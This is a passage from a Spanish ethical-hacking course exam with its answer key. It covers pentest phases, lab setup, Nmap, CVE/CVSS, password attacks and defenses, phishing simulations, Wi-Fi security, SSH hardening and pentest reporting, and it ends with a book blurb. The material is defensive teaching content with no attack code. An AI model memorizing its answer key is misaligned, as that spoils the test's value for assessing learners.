a) Baja b) Media c) Alta d) Crítica

PREGUNTA 16. ¿Qué es un falso positivo en un escáner de vulnerabilidades?

a) Una vulnerabilidad que el escáner reporta pero que en realidad no existe b) Un virus falso c) Un reporte duplicado d) Una vulnerabilidad sin CVE

PREGUNTA 17. ¿Qué es el "salt" en el almacenamiento de contraseñas?

a) Un tipo de malware b) Un valor aleatorio único por usuario que se mezcla con la contraseña antes de hashearla c) Una contraseña maestra d) Un programa para romper claves

PREGUNTA 18. ¿Qué ataque prueba UNA contraseña común contra MUCHOS usuarios para evadir bloqueos?

a) Fuerza bruta b) Password spraying c) Phishing d) Inyección SQL

PREGUNTA 19. ¿Cuál es la defensa más efectiva contra el robo de contraseñas?

a) Cambiarla cada semana b) Usar solo números c) MFA (autenticación multifactor) más contraseñas largas y únicas d) Escribirla en un papel bajo el teclado

PREGUNTA 20. ¿Para qué sirve Hydra?

a) Para navegar anónimamente b) Para probar inicios de sesión por red de forma automatizada (fuerza bruta/diccionario controlada) c) Para cifrar archivos d) Para detectar virus

Preguntas de verdadero o falso

PREGUNTA 21. (V/F) Si encuentro una vulnerabilidad en un sitio ajeno sin permiso pero la reporto sin hacer daño, es hacking ético.

PREGUNTA 22. (V/F) Kali Linux debe instalarse como sistema operativo principal para practicar.

PREGUNTA 23. (V/F) `whois` y `dig` son herramientas de reconocimiento pasivo seguras de usar contra tu propio dominio.

PREGUNTA 24. (V/F) Escanear con Nmap la red de tu escuela sin permiso es aceptable si solo es "para practicar".

PREGUNTA 25. (V/F) Un puerto "filtrado" significa que con seguridad no hay ningún servicio detrás.

PREGUNTA 26. (V/F) El puntaje CVSS por sí solo determina la prioridad de corrección, sin importar el contexto.

PREGUNTA 27. (V/F) Un sistema bien diseñado guarda las contraseñas en texto claro para recuperarlas si el usuario las olvida.

PREGUNTA 28. (V/F) El MFA bien implementado derrota la mayoría de los ataques basados en contraseñas robadas.

PREGUNTA 29. (V/F) El phishing moderno generado con IA puede no tener faltas de ortografía, por lo que hay que verificar por otro canal.

PREGUNTA 30. (V/F) Hacer un simulacro de phishing a empleados sin autorización de la dirección "para enseñarles" es aceptable.

PREGUNTA 31. (V/F) WEP es un cifrado Wi-Fi seguro si la contraseña es larga.

PREGUNTA 32. (V/F) WPS debe desactivarse porque su PIN es vulnerable por diseño.

PREGUNTA 33. (V/F) Los dispositivos IoT deben ir en una red separada de los equipos principales.

PREGUNTA 34. (V/F) El principio de mínimo privilegio dice que cada usuario debe tener todos los permisos por si los necesita.

PREGUNTA 35. (V/F) Un informe de pentest debe incluir recomendaciones concretas de corrección, no solo los problemas.

Preguntas abiertas

PREGUNTA 36. Explica con tus palabras las cinco fases de un pentest y qué se entrega al final de la fase 1.

PREGUNTA 37. Describe cómo montarías tu laboratorio de prácticas (software, red y reglas de seguridad).

PREGUNTA 38. ¿Qué es el apretón de manos TCP de tres pasos y cómo lo aprovecha el escaneo SYN de Nmap?

PREGUNTA 39. Explica la diferencia entre vulnerabilidad, CVE y CVSS, y cómo los combinarías con el contexto para priorizar correcciones.

PREGUNTA 40. Describe el ciclo de vida de una vulnerabilidad: desde que se detecta hasta que se verifica su corrección.

PREGUNTA 41. Explica cómo funciona un ataque de diccionario y tres defensas efectivas contra él.

PREGUNTA 42. Define phishing, spear phishing y vishing, y da dos señales de alerta de cada uno.

PREGUNTA 43. Diseña un simulacro de phishing ético para una empresa: reglas, métricas y cierre.

PREGUNTA 44. Explica la evolución WEP -> WPA -> WPA2 -> WPA3 y por qué hoy solo se aceptan los dos últimos (y preferentemente WPA3).

PREGUNTA 45. Detalla tu checklist de 10 puntos para configurar un router doméstico de forma segura.

PREGUNTA 46. Explica el principio de defensa en profundidad con un ejemplo aplicado a un servidor Linux.

PREGUNTA 47. Describe cómo endurecerías el SSH de un servidor paso a paso y cómo verificarías que el endurecimiento funciona.

PREGUNTA 48. Explica la estructura de un informe profesional de pentest y qué debe contener el resumen ejecutivo.

PREGUNTA 49. Un cliente te pide un pentest "sin contrato, de palabra, para ayer". ¿Qué respondes y por qué?

PREGUNTA 50. Describe tu plan de carrera a 2 años en ciberseguridad: fundamentos, certificaciones, portafolio y primer servicio ofrecido.

Respuestas y soluciones

Opción múltiple

RESPUESTA 1. b) La autorización, la intención defensiva y el respeto a la ley. Las herramientas son las mismas en ambos lados; lo que separa al profesional del delincuente no es la técnica sino el permiso por escrito, el propósito de proteger y actuar dentro de la ley. Si elegiste (a), repasa la Unidad 1: las herramientas son neutrales.

RESPUESTA 2. b) Reconocimiento, escaneo, análisis de vulnerabilidades, explotación controlada, reporte. Este orden es metodológico: primero observas, luego tocas, luego analizas, luego demuestras impacto de forma controlada y al final documentas. Alterar el orden (explotar antes de reconocer) es actuar a ciegas y poco profesional.

RESPUESTA 3. c) Negarte. La red es del vecino y no hay autorización: auditarla sería acceso no autorizado, un delito, aunque tus intenciones sean buenas y aunque "no pase nada". La respuesta profesional incluye ofrecerle al amigo que le pida permiso escrito al vecino primero.

RESPUESTA 4. b) Una copia del estado de la máquina virtual para revertir cambios. El snapshot es tu botón de deshacer: tómallo antes de cada experimento (Unidad 2).

RESPUESTA 5. b) Red NAT de laboratorio. Las VMs se comunican entre sí y salen a internet, pero quedan aisladas de tu red física. El modo puente expondría tus máquinas de práctica (intencionalmente vulnerables) a tu red real.

RESPUESTA 6. b) Ejecuta un comando con permisos de administrador. `sudo` es la forma segura de obtener privilegios temporalmente sin trabajar como root todo el tiempo (mínimo privilegio, Unidad 9).

RESPUESTA 7. b) Una máquina virtual intencionalmente vulnerable para practicar. Es tu campo de entrenamiento legal y seguro; nunca debe exponerse a redes que no controles.

RESPUESTA 8. b) El pasivo no interactúa con los sistemas del objetivo; el activo sí. Por eso el pasivo (whois, DNS público, buscadores) es invisible y seguro para practicar, mientras el activo (escaneos) requiere autorización (Unidades 3 y 4).

RESPUESTA 9. b) Para encontrar documentos de tu propia empresa expuestos públicamente. Es auditoría defensiva de tu propia exposición, no una herramienta contra terceros (Unidad 3).

RESPUESTA 10. b) Los servidores de correo del dominio. Los registros MX revelan quién maneja el correo: información útil para un atacante (objetivo de phishing) y para ti como defensor (verifica tu SPF y tu proveedor).

RESPUESTA 11. b) Que hay un servicio respondiendo en ese puerto. Cada puerto abierto es superficie de ataque: tu pregunta defensiva es si debe estar abierto, si está actualizado y si está protegido (Unidad 4).

RESPUESTA 12. b) Detecta versiones de los servicios en puertos abiertos. La versión es oro: te permite buscar CVEs específicos de esa versión (puente a la Unidad 5).

RESPUESTA 13. b) Porque servicios importantes (DNS, DHCP) usan UDP y quedarían sin revisar. Un escaneo solo-TCP deja ciega media red; los atacantes lo saben y buscan justo ahí.

RESPUESTA 14. b) Identificador único público de una vulnerabilidad conocida. Es el idioma universal: todo el mundo habla del mismo fallo con el mismo código (Unidad 5).

RESPUESTA 15. d) Crítica. Rangos CVSS: 0.1-3.9 baja, 4.0-6.9 media, 7.0-8.9 alta, 9.0-10.0 crítica. Un 9.8 (como Log4Shell) es emergencia.

RESPUESTA 16. a) Una vulnerabilidad que el escáner reporta pero que en realidad no existe. Por eso el analista valida manualmente los hallazgos críticos antes de reportarlos: un falso positivo reportado destruye credibilidad.

RESPUESTA 17. b) Un valor aleatorio único por usuario que se mezcla con la contraseña antes de hashearla. El salt impide reusar tablas pre-calculadas: el atacante debe empezar de cero con cada usuario (Unidad 6).

RESPUESTA 18. b) Password spraying. Pocas contraseñas comunes contra muchos usuarios: evade los bloqueos por intentos concentrados en una cuenta. Se derrota con MFA y detección de patrones (Unidad 6).

RESPUESTA 19. c) MFA más contraseñas largas y únicas. El MFA bien implementado frena casi todos los ataques de contraseñas robadas; la longitud y unicidad (con gestor) hacen el resto. Cambiarla cada semana genera patrones predecibles ("Clave1", "Clave2").

RESPUESTA 20. b) Para probar inicios de sesión por red de forma automatizada (fuerza bruta/diccionario controlada). Solo contra sistemas propios o autorizados: es ruidosa por diseño y un sistema bien configurado debe detectarla y bloquearla (Unidades 6 y 9).

Verdadero o falso

RESPUESTA 21. FALSO. Sin autorización previa no es hacking ético aunque reportes de buena fe y no dañes nada: el acceso no autorizado ya ocurrió. Lo correcto ante un hallazgo accidental: no tocar más y reportar por canales adecuados (Unidad 1).

RESPUESTA 22. FALSO. Kali es una caja de herramientas, no un sistema de uso diario, y exponerlo como principal es riesgoso. Se usa en máquina virtual aislada (Unidad 2).

RESPUESTA 23. VERDADERO. Son consultas a información pública, no interactúan con tus sistemas de forma intrusiva: reconocimiento pasivo seguro (Unidad 3).

RESPUESTA 24. FALSO. Escanear redes ajenas sin permiso es intrusivo, detectable y potencialmente ilegal. Para practicar está tu laboratorio (Unidad 4).

RESPUESTA 25. FALSO. Filtrado significa que un firewall bloqueó la sonda y no hubo respuesta: no sabes si hay servicio o no. Confundirlo con "seguro" es un error clásico (Unidad 4).

RESPUESTA 26. FALSO. El CVSS mide gravedad técnica abstracta; la prioridad real combina CVSS con contexto: exposición, datos afectados y criticidad del sistema (Unidad 5).

RESPUESTA 27. FALSO. Las contraseñas se guardan como hash (lento, con salt único), nunca en texto claro. Si un sistema las guarda en claro, es un hallazgo crítico (Unidad 6).

RESPUESTA 28. VERDADERO. Aunque roben la contraseña, el atacante necesita el segundo factor. Es la defensa con mejor retorno de inversión en seguridad (Unidad 6).

RESPUESTA 29. VERDADERO. La IA eliminó las faltas de ortografía como señal: la defensa moderna es no hacer clic y verificar por un canal oficial independiente (Unidad 7).

RESPUESTA 30. FALSO. Los simulacros requieren autorización escrita de la dirección y reglas que protejan la dignidad de las personas. Hacerlo por tu cuenta es manipulación sin permiso (Unidad 7).

RESPUESTA 31. FALSO. WEP está totalmente roto desde hace años: su clave se recupera en minutos sin importar su longitud. Prohibido (Unidad 8).

RESPUESTA 32. VERDADERO. El PIN de 8 dígitos de WPS se puede forzar por mitades por diseño: es una puerta trasera y debe desactivarse (Unidad 8).

RESPUESTA 33. VERDADERO. Los IoT son el eslabón débil (poco actualizados, seguridad barata): van en red de invitados separada, sin acceso a la red principal (Unidad 8).

RESPUESTA 34. FALSO. Mínimo privilegio es exactamente lo contrario: solo los permisos estrictamente necesarios, ni uno más. Así se contiene el daño si una cuenta se compromete (Unidad 9).

RESPUESTA 35. VERDADERO. Un hallazgo sin recomendación concreta no es accionable. Cada hallazgo responde: qué es, qué tan grave, qué pasa si no se corrige y cómo se arregla (Unidad 10).

Preguntas abiertas (respuestas modelo)

RESPUESTA 36. Las cinco fases: 1) Reconocimiento: recopilar información pública del objetivo autorizado (quién es, qué tiene). 2) Escaneo: descubrir equipos, puertos y servicios activos. 3) Análisis de vulnerabilidades: identificar y priorizar fallos. 4) Explotación controlada: demostrar impacto real dentro del alcance, sin dañar. 5) Reporte: documentar hallazgos, severidad y correcciones. Al final de la fase 1 se entrega el mapa del objetivo: dominios, subdominios, IPs, tecnologías, correos expuestos y hallazgos que requieren acción.

RESPUESTA 37. Software: VirtualBox (hipervisor gratuito) + imagen oficial de Kali Linux desde kali.org + una máquina víctima (Metasploitable 2). Red: red NAT de laboratorio donde las VMs se ven entre sí y salen a internet, aisladas de la red física (nada de modo puente para máquinas vulnerables). Reglas: snapshots antes de experimentar; solo practicar contra el laboratorio o sistemas autorizados por escrito; actualizar Kali con frecuencia; no guardar datos sensibles en las VMs; documentar cada sesión en el cuaderno; apagar las VMs al terminar.

RESPUESTA 38. El apretón de manos TCP: 1) el cliente envía SYN, 2) el servidor responde SYN-ACK si el puerto está abierto, 3) el cliente responde ACK y la conexión queda establecida. El escaneo SYN (`-sS`) envía el SYN y, al recibir el SYN-ACK, responde con RST (reset) en vez de completar la conexión: confirma que el puerto está abierto sin establecer conexión completa, por eso es más rápido y deja menos rastro en logs de aplicación (aunque firewalls modernos sí lo detectan).

RESPUESTA 39. Vulnerabilidad: debilidad explotable en un sistema. CVE: identificador único público de una vulnerabilidad conocida (su "CURP"). CVSS: puntaje de 0 a 10 de su gravedad técnica. Para priorizar: tomo el CVSS como base, pero lo ajusto con contexto: ¿el sistema está expuesto a internet? ¿maneja datos sensibles? ¿hay exploits públicos activos? Una vulnerabilidad crítica en un servidor expuesto con exploit circulando es prioridad 1; una media en un sistema interno aislado puede esperar. Documento mis criterios.

RESPUESTA 40. Detección (escaneo autorizado) -> análisis y validación (eliminar falsos positivos, clasificar por riesgo real) -> priorización -> corrección (parchear, reconfigurar: lo ejecuta el equipo responsable con plan y ventana) -> verificación/re-test (re-escanear para confirmar que el hallazgo desapareció) -> documentación y monitoreo continuo. Sin la verificación final, el ciclo queda abierto y no se sabe si realmente se corrigió.

RESPUESTA 41. El ataque de diccionario prueba automáticamente una lista de contraseñas probables (las más usadas, palabras, variaciones) contra una cuenta o un

hash. Funciona porque los humanos elegimos contraseñas predecibles. Defensas: 1) contraseñas largas y únicas (con gestor) que no estén en diccionarios; 2) bloqueo/limitación de intentos y monitoreo de patrones (derrota el diccionario en línea); 3) MFA (aunque adivinen la contraseña, no entran) y, del lado servidor, hash lento con salt (hace inviable el diccionario masivo offline).

RESPUESTA 42. Phishing: correo/mensaje fraudulento masivo suplantando a una entidad confiable. Spear phishing: phishing dirigido a una persona concreta usando datos reales de ella. Vishing: phishing por voz/teléfono. Señales: remitente cuyo dominio real no coincide; urgencia o amenaza ("bloqueo en 24h"); enlaces que llevan a dominios distintos al aparente; saludo genérico; adjuntos inesperados; en vishing, petición de datos o acciones inmediatas por teléfono y negativa a que cuelgues y verifiques. Defensa común: no hacer clic, verificar por canal oficial independiente.

RESPUESTA 43. Reglas: autorización escrita de la dirección; alcance y fechas definidos; correos inofensivos (el enlace lleva a capacitación interna, no roba credenciales reales); prohibidas las emergencias falsas que causen pánico; resultados individuales solo para capacitación privada 1 a 1, sin castigos ni exhibición; todo el que haga clic recibe micro-capacitación inmediata. Métricas: tasa de clic, tasa de reporte de sospechosos, comparativa con simulacros anteriores, % con MFA. Cierre: sesión grupal breve con ejemplos anonimizados y refuerzo de la cultura de reporte.

RESPUESTA 44. WEP (90s): cifrado débil, totalmente roto, clave recuperable en minutos: prohibido. WPA: reemplazo temporal, también obsoleto y vulnerable: no usar. WPA2: estándar por una década; sólido con AES y contraseña fuerte, pero vulnerable a diccionario con claves débiles y al ataque KRACK: mínimo aceptable hoy. WPA3: estándar actual; resiste diccionario offline (SAE), secreto hacia adelante y mejor protección: el recomendado. Regla: WPA3 donde sea posible, WPA2-AES como mínimo, y siempre con contraseña larga y única, porque el mejor cifrado con clave débil sigue siendo vulnerable.

RESPUESTA 45. 1) Cambiar la contraseña de administración del router (no la de fábrica). 2) Actualizar el firmware (y activar auto-actualización si existe). 3) Usar WPA3 (o WPA2-AES mínimo); nada de WEP/WPA. 4) Contraseña Wi-Fi larga, única y generada (20+ caracteres). 5) Cambiar el SSID por defecto (que no revele marca/modelo). 6) Desactivar WPS. 7) Desactivar administración remota por WAN. 8) Crear red de invitados aislada para visitas e IoT. 9) Desactivar UPnP si no se necesita. 10) Revisar periódicamente dispositivos conectados y expulsar desconocidos.

RESPUESTA 46. Defensa en profundidad: no depender de una sola barrera sino de capas, de modo que si una falla las demás contienen. Ejemplo en servidor Linux: firewall UFW que solo abre SSH y web (capa de red); SSH endurecido sin root y con claves + fail2ban (capa de acceso); usuarios con mínimo privilegio y sudo (capa de privilegios); actualizaciones automáticas de seguridad (capa de vulnerabilidades); monitoreo de logs con alertas (capa de detección); respaldos verificados externos (capa de recuperación). Un atacante debe superar todas; el defensor solo necesita que una lo detenga y alerte.

RESPUESTA 47. Pasos: 1) respaldo de `/etc/ssh/sshd_config`. 2) `PermitRootLogin no` (nadie entra directo como root). 3) `PasswordAuthentication no` (solo claves; antes distribuyo mi clave pública con `ssh-copy-id`). 4) `AllowUsers mi_usuario` (solo usuarios explícitos). 5) `MaxAuthTries 3`. 6) Reinicio el servicio y, sin cerrar mi sesión actual, pruebo en otra terminal que entro con clave; si falla, revierto. 7) Instalo y activo fail2ban para bloquear IPs con intentos fallidos. Verificación: intento login como root (debe rechazar), intento con contraseña (debe rechazar si solo-claves), lanzo Hydra de prueba desde mi laboratorio (debe ser bloqueado y aparecer en `auth.log` y en `fail2ban-client status`), y confirmo mi acceso legítimo con clave sigue funcionando.

RESPUESTA 48. Estructura: portada (título, cliente, fechas, confidencial), índice, resumen ejecutivo, alcance y metodología, hallazgos detallados, recomendaciones generales, conclusión y anexos. El resumen ejecutivo (1-2 páginas, sin jerga) debe contener: qué se evaluó y cuándo, estado general de seguridad (semáforo o calificación), los 3-5 hallazgos más críticos traducidos a impacto de negocio, y la recomendación general con estimación de esfuerzo. Debe bastar para que un directivo decida qué hacer sin leer el resto.

RESPUESTA 49. Respondo que no puedo trabajar así y le explico por qué: sin contrato y sin alcance firmado no hay autorización demostrable (riesgo legal para ambos), no hay límites claros (podría tocar sistemas que no debía), no hay confidencialidad pactada ni condiciones de pago. Le propongo: firmamos un acuerdo de alcance hoy mismo (tengo plantilla lista), definimos sistemas, fechas, técnicas permitidas y contacto de emergencia, y empiezo mañana. La prisa no justifica saltarse la protección legal; un profesional serio no trabaja "de palabra" en algo con implicaciones penales.

RESPUESTA 50. Año 1: consolidar fundamentos (repasar este libro practicando todo en laboratorio documentado), montar portafolio (write-ups de máquinas de práctica, informe de muestra de mi laboratorio, blog o repositorio ordenado), y obtener una primera certificación práctica (eJPT o Security+). Año 2: especializarme (pentesting web o redes), participar en bug bounties o prácticas supervisadas, apuntar a PNPT/OSCP como meta, y ofrecer mi primer servicio: "auditoría básica para pymes" (red local + Wi-Fi + contraseñas + informe + capacitación de 1 hora), con alcance firmado, precio por paquete y re-test incluido. Todo el plan sobre la base innegociable: solo trabajo autorizado por escrito y ética intachable, porque la reputación es el activo principal.

Curso Completo de Hacking Ético

Este libro no te va a enseñar a robar contraseñas ajenas, a espiar a nadie ni a tumbar sistemas. Te va a enseñar algo mucho más valioso y mucho más rentable: a protegerlos. El hacking ético es la disciplina de pensar como un atacante para defender como un profesional, y es una de las habilidades mejor pagadas en el mundo de la tecnología.

lucasegaacademy.com

Colibrí Editorial EGA